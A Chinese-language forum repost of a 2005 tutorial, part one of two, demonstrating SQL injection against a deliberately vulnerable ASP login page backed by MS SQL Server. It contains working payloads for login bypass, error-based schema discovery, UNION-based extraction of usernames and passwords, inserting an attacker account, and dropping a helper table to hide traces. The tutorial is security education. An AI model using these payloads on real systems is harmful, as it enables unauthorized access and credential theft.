广告广告
  加入我的最爱 设为首页 风格修改
首页 首尾
 手机版   订阅   地图  繁体 
您是第 2761 个阅读者
 
发表文章 发表投票 回覆文章
  可列印版   加为IE收藏   收藏主题   上一主题 | 下一主题   
Chiunyao 手机
个人头像
个人文章 个人相簿 个人日记 个人地图
社区建设奖 特殊贡献奖
小有名气
级别: 小有名气 该用户目前不上站
推文 x4 鲜花 x776
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
推文 x0
[SQL][教学] SQL Injection (资料隐码)– 骇客的 SQL填空游戏(上)
作者:恒逸资讯 胡百敬
审稿:恒逸资讯 张智凯
前言
电脑系统的安全一直是你我所重视的,但或许你一直在替系统安装修正档,防毒软体,架设防火墙,划定非军事区等等,但可能由于撰写程式码的疏忽,你的背后正有一个自己营造的大漏洞。

SQL Injection – 骇客的 SQL填空游戏

在现今的应用程式架构中,大部分都含有资料库,以容纳各式各样的资料。而在各类型的资料库中,又以结构化查询语言(SQL Structure Query Language)为基础的关联式资料库管理系统(RDBMS Relational Database Management System)最为流行。
一般的程式设计师在存取资料库时,往往是利用 Visual Basic等第三代语言来组织 SQL 语言,然后再传递给关联式资料库系统执行,以建立或删除资料结构,赋予或移除使用权限,乃至于新增、修改、删除或查询资料。因为关联式资料库所有的执行动作皆是遵循 SQL 命令,所以透过此种方式可以很方便地完成各种资料维护工作。但也正因为 SQL 语言无所不能,所以稍有漏洞就会让骇客有机可乘。这两期文章就针对这个主题做一个深入的探讨。
网站的资料存取一般来说是比较危险的,因为网际网路是一个开放的环境,而不像一般公司内部网路,除了有电脑本身的安全设计,还可以过滤筛检员工的身分背景。网际网路上龙蛇杂处,大部分的使用者都循规导矩,但少数图谋不轨的人却处心积虑地要侵入我们的系统,窃取有价值的资料。但一般的网管人员及网页设计师,可能在安全设定上有着重重防范,如架设防火墙,设计非军事区(DMZ),限制网站登入者的身分等等。但由于缺乏对 SQL 语言及资料库管理系统的认知,而大开系统的后门。
本文针对微软的 ASP 网站架构搭配 MS SQL Server 做一个探讨及示范,希望能提供各网站的管理人员对 SQL Injection 的入侵方式有个基本的认识,就笔者在撰写本文时,利用搜寻网站随意找几个有会员机制的网站来测试,其中多数都有被此类方式侵入的危险,大家不可不慎。
笔者在此先建立一个一般会员网站登入网页的范例,以及相关资料表的架构如下:
资料表的 Schema 如程式码列表 1
CREATE TABLE [tblUser] (
  [UserID] [int] IDENTITY (1, 1) NOT NULL ,
  [UserName] [nvarchar] (50) NOT NULL ,
  [Password] [nvarchar] (50) NOT NULL ,
  [Pri] [tinyint] NULL CONSTRAINT [DF_tblUser_Pri] DEFAULT (0),
  CONSTRAINT [PK_tblUser] PRIMARY KEY CLUSTERED
  ([UserID])
)
程式码列表 1:存放会员资料的资料表 Schema。
并在资料表加入两笔资料内容
INSERT tblUser(UserName,Password,Pri) VALUES('Admin','AdminPass',10)
INSERT tblUser(UserName,Password,Pri) VALUES('Byron','ByronPass',10)
登入网页的撰写方式如程式码列表 2
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
'利用使用者输入的资料来组合 SQL 语法
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & Request("Pass") & "'"
'直接交给 SQL Server 执行,这是最危险的地方
Set rec=.Execute(strSQL)
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "欢迎光临 " & Request("UserName")
Else
Response.Write "您的帐号/密码输入错误"
End If
Else
%>
<Form action="login.asp">
使用者名称:<Input Name="UserName"><P>
密码:<Input Name="Pass" >
<P>
<Input type="submit" Value="确定">
</Form>
<%
End If
%>
程式码列表 2:简单的 ASP 登入网页。
程式码列表 2 中的 ASP 网页利用 VBScript 来组合查询使用者帐号、密码的 SQL 查询语法,逻辑相当简单,若资料表中存有符合的帐号、密码记录,则回传的 Recordset 的 EOF 属性是 False,该使用者就算正确登入。
针对此种网页,我们以下就开始利用 SQL Injection 的技巧来”骇”这个网站吧!
剪接语法
利用任何已知的使用者名称登入 1 :例如在网咖偷偷地观察某个使用者用什么样的帐号登入到哪个网站等等,或着先试试一般管理人员可能建立的使用者名称,如:admin、administrator、supervisor、sa 等等。
在需要输入使用者名称的地方键入以下的内容 2
Admin’--
而密码栏位随便乱输入,对于会被执行的整句 SQL 没有什么关系。示意图如图 1

图 1:利用已知的会员名称登入,让程式码跳过密码检查。
你可以试着将输入使用者名称的内容与程式码列表 2 的 SQL 语法做个整理,将会发现实际传给 SQL Server 的语法如下
SELECT * FROM tblUser WHERE UserName='admin'--' AND Password='asdf'
关键就是原先的 AND 子句被 “--" 标示成说明,也就是 SQL Server 仅仅执行
SELECT * FROM tblUser WHERE UserName='admin'
自然,若有该使用者存在,则这个 SQL 查询语法就传回该记录的所有栏位内容。再按照程式码列表 2 的判断方式:传回的 Recordset 是否有记录,若有就算登入验证成功。则骇客就可以轻易地以该使用者的身分进入了。
用未知的使用者名称登入:若没有已知的帐号,也可以用以下的方式输入到使用者名称栏位,便能大大方方地侵入:
‘ or 1=1--
SQL Server 所接收的整个语法变成:
SELECT * FROM tblUser WHERE UserName='' or 1=1--' AND Password='asdf'
因为加上的 or 1=1,则不管之前的条件为合,只要某个条件为真,整个判断式就都为真,因此回传的 Recordset 物件包含了全部的会员记录。也导致程式码列表 2 中的 Recordset 物件 EOF 属性为 False。
利用错误讯息
获取栏位数量与名称

微软为了方便 ASP 的程式开发者可以顺利地除错,因此每当 Script 执行错误时,都会透过预设的 <系统所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 网页将发生错误的原因回传到前端,对于开发者来说,这是一个非常方便的错误呈现方式。但骇客也可以利用这个错误讯息取得原始 ASP 中的查询语法,并从中了解资料库中资料表的架构。例如在使用者名称栏位输入:
' HAVING 1=1--
则系统会传回如图 2 的错误讯息。

图 2:故意制造错误,从错误讯息中找寻蛛丝马迹。
图 2 可以知道存放使用者的资料表名称是 tblUser,且查询中有一个栏位叫 UserID。因此我们再次输入:
'GROUP BY UserID HAVING 1=1--
这回错误讯息如图 3

图 3:利用错误讯息来了解资料表大致结构。
再次在图 3 的错误讯息中可知查询的栏位还有 UserName,因此继续以下列方式来查询 3
'GROUP BY UserID,UserName HAVING 1=1--
利用上述方式取到完整查询语法后,也就是输入以下的语法,但不再造成执行时期错误:
'GROUP BY UserID,UserName,Password,Pri HAVING 1=1--
因为整个传递到 SQL Server 的语法变成:
SELECT * FROM tblUser WHERE UserName=''GROUP BY UserID,UserName,Password,Pri HAVING 1=1--' AND Password='asdf'
如此列出所有栏位的 Group By 方式几近等于没有 Group By,但语法完全正确表示所有的栏位都已经包含在其中了。骇客就此可以约略估计资料表的栏位结构。
在输入帐号的地方执行以下语法便可以加入自订的使用者到资料表中。
'INSERT INTO tblUser Values('hacker','hacker',10)--
获取栏位资料型态
若有资料栏位格式不对,导致无法加入自订使用者,也可以利用下列语法传回的错误讯息来判读资料栏位格式:
'UNION SELECT 'abc',1,1,1 FROM tblUser --
结果传回如图 4 的错误讯息。

图 4:利用错误讯息来判断栏位的资料型态。
在这里我们透过 UNION 语法来组合两句 SELECT 查询,第一句 SELECT 语法的第一个栏位 UserID 是 int 格式,但对应的第二句 SELECT 语法;第一个栏位的资料是 varchar 格式的 ‘abc’,因此出现如图 4 的错误讯息。骇客也由此得知资料表第一个栏位的资料型态是 int。有耐心地把一个个栏位测试完毕后,便可以得到整个资料表的栏位格式。
获取会员的帐号密码
利用这个技巧,还可以再进一步获取使用者的帐号和密码,例如先以下列语法询问帐号:
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--
IIS 回传错误讯息如图 5
图 5:利用错误讯息来取得使用者帐号和密码。
因为传回的记录”Admin”是 nvarchar 格式,而透过 union 对应到原先 int 资料栏位,因此有图 5 的错误讯息。由以上的错误可以得知有一个称为”Admin”的帐号存在,之后再以下列语法获得该帐号的密码。
'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--
错误讯息如图 6

图 6:利用错误讯息取得帐号 admin 的密码。
之后再继续以下列语法来获得其他人的帐号密码。
'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'admin'--
错误讯息如图 7

图 7:依序透过相同的机制取得其他人的帐号密码。
依次替换掉 WHERE UserName > 的条件内容,就可以取得资料表中所有的帐号和密码组合。
骇客甚至可以透过以下的语法将整个使用者帐号密码串成字串:在输入使用者帐号的栏位填入如程式码列表 3 的 SQL 语句。
'DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker--
程式码列表 3:将所有的使用者资料组成字串,放入自订的资料表中。
程式码列表 3 中,先宣告一个长度为 8000 的字串变数 @str,再将整个 tblUser 资料表的内容组成一个字串放到变数 @str 之内,最后再利用 SELECT … INTO… 语法把 @str 变数的内容放到自建的资料表 tblHacker 之中。
然后再利用前述故意营造错误的技巧换回资料内容。
' UNION SELECT IDPass,1,1,1 FROM tblHacker--
结果如图 8

图 8:取回全部的会员帐号密码资料。
当然事后要做一个清除的动作,以避免系统管理人员的注意,依然在名称栏位输入如下的内容。
' ; DROP TABLE tblHacker--
在本期的文章中,笔者介绍了一般的 SQL Injection 攻击,相信你不是感到兴奋且跃跃欲试,想要找几个网站来开刀,就是感到毛骨悚然,赶快检视一下自己的系统。不管你是何者,笔者期盼本文不致遭到误用,若有心测试别站的安全程度,建议你将成果告知该站的管理人员,让整个网际网路的世界更为安全,一般人才会愿意流涟在其上,而我们资讯人员才有更好的未来。
在下期文章中,笔者将继续介绍进阶的 SQL Injection 攻击,并提出因应的防范之道,期待再次与你见面。
后记:本文所举各例,并非单指Microsoft SQL Server而言,事实上所有关联式资料库如Oracle等均是如此。同时,本文所举各例,并非单指ASP而言,事实上对所有动态网页如JSP、PHP等均是如此(即使你的系统还停留在CGI技术也是一样),奉劝各位即时检视您的系统,防患未然。


[ 此文章被Chiunyao在2005-04-27 23:04重新编辑 ]



     


人要活在当下....才是最幸福的!!!
献花 x2 回到顶端 [楼 主] From:台湾中华电信 | Posted:2005-04-27 22:57 |

首页  发表文章 发表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.079356 second(s),query:15 Gzip disabled
本站由 瀛睿律师事务所 担任常年法律顾问 | 免责声明 | 本网站已依台湾网站内容分级规定处理 | 连络我们 | 访客留言